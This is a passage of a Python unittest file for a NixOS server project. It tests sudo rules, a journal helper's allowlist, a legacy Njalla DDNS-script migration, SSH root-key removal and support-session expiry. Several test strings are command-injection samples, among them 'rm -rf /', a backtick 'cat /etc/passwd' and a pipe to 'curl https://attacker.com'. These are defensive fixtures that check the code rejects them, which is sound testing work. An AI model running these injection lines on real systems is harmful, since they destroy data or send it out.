self.assertNotIn("nano /etc/nixos/custom.nix", self._get_nix_content())
def test_no_nano_configuration_nix(self):
self.assertNotIn("nano /etc/nixos/configuration.nix", self._get_nix_content())
def test_no_unrestricted_nixos_rebuild(self):
self.assertNotIn("nixos-rebuild switch", self._get_nix_content())
def test_no_wildcard_systemctl_restart(self):
self.assertNotIn("systemctl restart *", self._get_nix_content())
def test_journalctl_wildcard_removed(self):
"""The bare 'journalctl *' sudo rule must be gone."""
content = self._get_nix_content()
self.assertNotIn('"/run/current-system/sw/bin/journalctl *"', content)
self.assertNotIn("journalctl *", content.replace("journal-helper", ""))
def test_journal_helper_referenced(self):
"""The restricted journal helper must be referenced instead."""
content = self._get_nix_content()
self.assertIn("sovran-journal-helper", content)
def test_sovran_hub_web_service_referenced(self):
"""tech-support.nix must reference sovran-hub-web.service, not the nonexistent sovran-hub.service."""
content = self._get_nix_content()
self.assertIn("sovran-hub-web.service", content)
self.assertNotIn('"sovran-hub.service"', content)
# ---------------------------------------------------------------------------
# Journal helper — unit allowlist validation
# ---------------------------------------------------------------------------
class TestJournalHelper(unittest.TestCase):
"""The restricted journal helper must enforce the explicit unit allowlist."""
def _run_helper(self, args):
"""Run the helper script and return (returncode, stderr)."""
import subprocess
helper = os.path.join(_REPO_ROOT, "modules", "core", "sovran-journal-helper.py")
result = subprocess.run(
[sys.executable, helper] + args,
capture_output=True, text=True,
)
return result.returncode, result.stderr
# ── Allowlisted units ──
def test_sovran_hub_web_accepted(self):
rc, stderr = self._run_helper(["--unit", "sovran-hub-web.service"])
self.assertNotIn("rejected", stderr)
def test_caddy_accepted(self):
rc, stderr = self._run_helper(["--unit", "caddy.service"])
self.assertNotIn("rejected", stderr)
def test_bitcoind_accepted(self):
rc, stderr = self._run_helper(["--unit", "bitcoind.service"])
self.assertNotIn("rejected", stderr)
def test_lnd_accepted(self):
rc, stderr = self._run_helper(["--unit", "lnd.service"])
self.assertNotIn("rejected", stderr)
# ── Rejected units ──
def test_unapproved_service_rejected(self):
rc, stderr = self._run_helper(["--unit", "sshd.service"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_old_sovran_hub_service_rejected(self):
"""The old nonexistent sovran-hub.service must now be rejected."""
rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_directory_flag_rejected(self):
rc, stderr = self._run_helper(["--directory", "/var/log"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_arbitrary_path_rejected(self):
rc, stderr = self._run_helper(["/etc/passwd"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_file_flag_rejected(self):
rc, stderr = self._run_helper(["--file", "/var/log/journal/foo"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_no_args_rejected(self):
"""Whole-journal queries (no --unit) must be rejected."""
rc, stderr = self._run_helper([])
self.assertNotEqual(rc, 0)
# Should mention --unit requirement
self.assertIn("unit", stderr.lower())
def test_lines_only_no_unit_rejected(self):
"""--lines without --unit is a whole-journal query and must be rejected."""
rc, stderr = self._run_helper(["--lines", "50"])
self.assertNotEqual(rc, 0)
def test_lines_flag_accepted(self):
rc, stderr = self._run_helper(["--unit", "caddy.service", "--lines", "50"])
self.assertNotIn("rejected", stderr)
def test_lines_too_large_rejected(self):
rc, stderr = self._run_helper(["--lines", "99999"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_negative_lines_rejected(self):
rc, stderr = self._run_helper(["--lines", "-1"])
self.assertNotEqual(rc, 0)
def test_since_with_valid_date_accepted(self):
rc, stderr = self._run_helper(["--unit", "caddy.service", "--since", "2024-01-01"])
self.assertNotIn("rejected", stderr)
def test_since_with_path_rejected(self):
rc, stderr = self._run_helper(["--since", "/etc/passwd"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_output_short_accepted(self):
rc, stderr = self._run_helper(["--unit", "caddy.service", "--output", "short"])
self.assertNotIn("rejected", stderr)
def test_output_arbitrary_rejected(self):
rc, stderr = self._run_helper(["--output", "export --to /tmp/out"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_invalid_unit_name_rejected(self):
rc, stderr = self._run_helper(["--unit", "../../../etc/passwd"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
def test_unit_without_suffix_rejected(self):
rc, stderr = self._run_helper(["--unit", "caddy"])
self.assertNotEqual(rc, 0)
self.assertIn("rejected", stderr)
# ---------------------------------------------------------------------------
# Legacy Njalla migration — production-backed tests
# ---------------------------------------------------------------------------
class TestNjallaLegacyMigration(unittest.TestCase):
"""migrate_legacy_njalla_script must not execute or preserve malicious content.
All tests call the exact production implementation from support_ops with
temporary files; no logic is duplicated here.
"""
def _run_migration(self, script_content: str) -> tuple[list[str], bool]:
"""Run the production migration against temp files, return (urls, script_archived)."""
captured_urls: list[str] = []
saved = [False]
def _load():
return []
def _save(urls):
captured_urls.extend(urls)
saved[0] = True
with tempfile.TemporaryDirectory() as tmpdir:
script_path = os.path.join(tmpdir, "njalla.sh")
with open(script_path, "w") as f:
f.write(script_content)
os.chmod(script_path, 0o755)
support_ops.migrate_legacy_njalla_script(
script_path,
_validate_ddns_url,
_save,
_load,
)
archived = oct(os.stat(script_path).st_mode)[-3:] == "000"
return captured_urls, archived
def test_valid_unquoted_curl_line_extracted(self):
script = (
"#!/usr/bin/env bash\n"
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n"
"curl --silent https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}\n"
)
urls, archived = self._run_migration(script)
self.assertEqual(len(urls), 1)
self.assertIn("njal.la", urls[0])
self.assertTrue(archived, "script should be archived after successful migration")
def test_valid_quoted_curl_line_extracted(self):
"""Historical quoted form: curl \"https://njal.la/...\" must be parsed."""
script = (
"#!/usr/bin/env bash\n"
'curl "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}"\n'
)
urls, archived = self._run_migration(script)
self.assertEqual(len(urls), 1, "quoted URL must be extracted")
self.assertIn("njal.la", urls[0])
def test_command_injection_not_extracted(self):
script = "curl https://njal.la/update/?k=TOKEN; rm -rf /\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_backtick_injection_not_extracted(self):
script = "curl https://njal.la/update/?k=`cat /etc/passwd`\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_pipe_injection_not_extracted(self):
script = "curl https://njal.la/update/?k=TOKEN | curl https://attacker.com\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_dollar_injection_not_extracted(self):
script = "curl https://njal.la/update/?k=$(evil_command)\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_non_njalla_url_not_extracted(self):
script = "curl https://attacker.example.com/update/?k=TOKEN\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_http_url_not_extracted(self):
script = "curl http://njal.la/update/?k=TOKEN\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_semicolons_in_url_not_extracted(self):
script = "curl https://njal.la/update/?k=TOKEN;echo evil\n"
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_newline_injection_not_extracted(self):
script = 'curl "https://njal.la/update/?k=TOKEN\necho evil"\n'
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_malformed_quotes_not_extracted(self):
"""Half-open quote must not match."""
script = 'curl "https://njal.la/update/?k=TOKEN\n'
urls, _ = self._run_migration(script)
self.assertEqual(urls, [])
def test_failed_persistence_leaves_script_untouched(self):
"""If save_fn raises, the script must NOT be archived."""
def _fail_save(urls):
raise OSError("disk full")
with tempfile.TemporaryDirectory() as tmpdir:
script_path = os.path.join(tmpdir, "njalla.sh")
script_content = (
"#!/usr/bin/env bash\n"
"curl https://njal.la/update/?h=test&k=TOKEN\n"
)
with open(script_path, "w") as f:
f.write(script_content)
os.chmod(script_path, 0o755)
support_ops.migrate_legacy_njalla_script(
script_path,
_validate_ddns_url,
_fail_save,
lambda: [],
)
# Script must still be executable (not archived)
mode = oct(os.stat(script_path).st_mode)[-3:]
self.assertNotEqual(mode, "000", "script must not be archived when persistence fails")
# ---------------------------------------------------------------------------
# Legacy root key removal — production-backed tests
# ---------------------------------------------------------------------------
class TestLegacyRootKeyRemoval(unittest.TestCase):
"""remove_legacy_root_key must remove only the exact historical key blob.
All tests call the exact production implementation from support_ops with
temporary files; no simulation is used.
"""
TARGET_BLOB = support_ops.LEGACY_ROOT_KEY_BLOB
def _do_removal(self, file_content: str) -> tuple[bool, str]:
"""Run production key removal, return (changed, result_content)."""
with tempfile.TemporaryDirectory() as tmpdir:
auth_keys = os.path.join(tmpdir, "authorized_keys")
with open(auth_keys, "w") as f:
f.write(file_content)
changed = support_ops.remove_legacy_root_key(auth_keys, self.TARGET_BLOB)
with open(auth_keys) as f:
result = f.read()
return changed, result
def test_exact_historical_key_removed(self):
"""The exact historical key must be removed regardless of comment."""
lines = (
"ssh-ed25519 AAAA admin@host\n"
f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
"ssh-ed25519 CCCC another@host\n"
)
changed, result = self._do_removal(lines)
self.assertTrue(changed)
self.assertNotIn(self.TARGET_BLOB, result)
self.assertIn("admin@host", result)
self.assertIn("another@host", result)
def test_same_comment_different_blob_preserved(self):
"""A key with 'free@nixos' comment but different blob must NOT be removed."""
lines = (
"ssh-ed25519 DIFFERENTBLOB free@nixos\n"
)
changed, result = self._do_removal(lines)
self.assertFalse(changed)
self.assertIn("DIFFERENTBLOB", result)
def test_legacy_key_with_different_comment_removed(self):
"""The exact blob with any comment (or no comment) must be removed."""
lines = f"ssh-ed25519 {self.TARGET_BLOB} some-other-comment\n"
changed, result = self._do_removal(lines)
self.assertTrue(changed)
self.assertNotIn(self.TARGET_BLOB, result)
def test_unrelated_keys_preserved(self):
lines = "ssh-ed25519 AAAA admin@host\nssh-ed25519 CCCC another@host\n"
changed, result = self._do_removal(lines)
self.assertFalse(changed)
self.assertEqual(result, lines)
def test_empty_file_unchanged(self):
changed, result = self._do_removal("")
self.assertFalse(changed)
self.assertEqual(result, "")
def test_comment_line_preserved(self):
lines = "# authorized keys\nssh-ed25519 AAAA admin@host\n"
changed, result = self._do_removal(lines)
self.assertFalse(changed)
self.assertEqual(result, lines)
def test_missing_file_returns_false(self):
result = support_ops.remove_legacy_root_key("/nonexistent/path", self.TARGET_BLOB)
self.assertFalse(result)
def test_audit_callback_called(self):
events = []
lines = f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
with tempfile.TemporaryDirectory() as tmpdir:
auth_keys = os.path.join(tmpdir, "authorized_keys")
with open(auth_keys, "w") as f:
f.write(lines)
support_ops.remove_legacy_root_key(
auth_keys, self.TARGET_BLOB,
audit_fn=lambda event, details="": events.append(event),
)
self.assertIn("LEGACY_ROOT_KEY_REMOVED", events)
# ---------------------------------------------------------------------------
# Support session expiry — production-backed tests
# ---------------------------------------------------------------------------
class TestSupportSessionExpiration(unittest.TestCase):
"""expire_if_stale must enforce expiry and the session_id guard.
All tests call the exact production implementation from support_ops with
temporary files and injectable clock/disable functions.
"""
def _write_session(self, tmpdir, **fields) -> str:
status_file = os.path.join(tmpdir, "support-session-status")
with open(status_file, "w") as f:
json.dump(fields, f)
return status_file
def test_future_expiry_not_expired(self):
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, expires_at=time.time() + 3600)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
)
self.assertFalse(result)
self.assertFalse(disabled[0])
def test_past_expiry_expired(self):
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
)
self.assertTrue(result)
self.assertTrue(disabled[0])
def test_no_expiry_recent_session_not_expired(self):
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, enabled_at=time.time() - 100)
result = support_ops.expire_if_stale(sf, clock_fn=time.time)
self.assertFalse(result)
def test_no_expiry_old_session_expired(self):
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, enabled_at=time.time() - 86401)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
)
self.assertTrue(result)
self.assertTrue(disabled[0])
def test_session_id_guard_matching_expires(self):
"""Timer with matching session_id must expire the session."""
import time
sid = "test-session-id"
exp = time.time() - 1
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
session_id=sid,
expected_expiry=exp,
)
self.assertTrue(result)
self.assertTrue(disabled[0])
def test_stale_timer_does_not_revoke_replacement_session(self):
"""A timer for an old session must not revoke a newer replacement session."""
import time
old_sid = "old-session"
new_sid = "new-session"
exp = time.time() - 1
with tempfile.TemporaryDirectory() as tmpdir:
# Current session has the NEW session id
sf = self._write_session(tmpdir, session_id=new_sid, expires_at=exp)
disabled = [False]
# Timer fires with OLD session id
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
session_id=old_sid, # stale — doesn't match stored new_sid
expected_expiry=exp,
)
self.assertFalse(result, "stale timer must not revoke replacement session")
self.assertFalse(disabled[0])
def test_stale_expiry_mismatch_does_not_revoke(self):
"""A timer with mismatched expected_expiry must not revoke."""
import time
sid = "same-sid"
exp = time.time() - 1
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, session_id=sid, expires_at=exp + 999)
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
session_id=sid,
expected_expiry=exp, # differs from stored exp+999
)
self.assertFalse(result)
self.assertFalse(disabled[0])
def test_startup_reconciliation_with_live_session(self):
"""On startup, a live session must not be expired."""
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, expires_at=time.time() + 3600, session_id="live")
disabled = [False]
result = support_ops.expire_if_stale(
sf,
clock_fn=time.time,
disable_fn=lambda: [disabled.__setitem__(0, True), True][1],
)
self.assertFalse(result)
self.assertFalse(disabled[0])
def test_audit_callback_receives_support_expired_event(self):
import time
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, expires_at=time.time() - 1)
events = []
support_ops.expire_if_stale(
sf,
clock_fn=time.time,
audit_fn=lambda event, details="": events.append(event),
)
self.assertIn("SUPPORT_EXPIRED", events)
def test_zero_enabled_at_not_expired(self):
with tempfile.TemporaryDirectory() as tmpdir:
sf = self._write_session(tmpdir, enabled_at=0)
result = support_ops.expire_if_stale(sf)
self.assertFalse(result)
# ---------------------------------------------------------------------------
# Cron composition
# ---------------------------------------------------------------------------
class TestCronComposition(unittest.TestCase):
"""configuration.nix must not disable cron (rsnapshot and other module jobs depend on it)."""
def _get_config_content(self):
path = os.path.join(_REPO_ROOT, "configuration.nix")
with open(path) as f:
return f.read()
def test_cron_not_disabled(self):
"""services.cron.enable = false must not appear in configuration.nix."""
self.assertNotIn("services.cron.enable = false", self._get_config_content())
def test_sovran_ddns_update_timer_in_njalla(self):
"""The periodic Njalla updater must be the systemd timer, not a cron job."""
path = os.path.join(_REPO_ROOT, "modules", "core", "njalla.nix")
with open(path) as f:
content = f.read()
self.assertIn("sovran-ddns-update", content)
self.assertNotIn("services.cron", content)
if __name__ == "__main__":
unittest.main()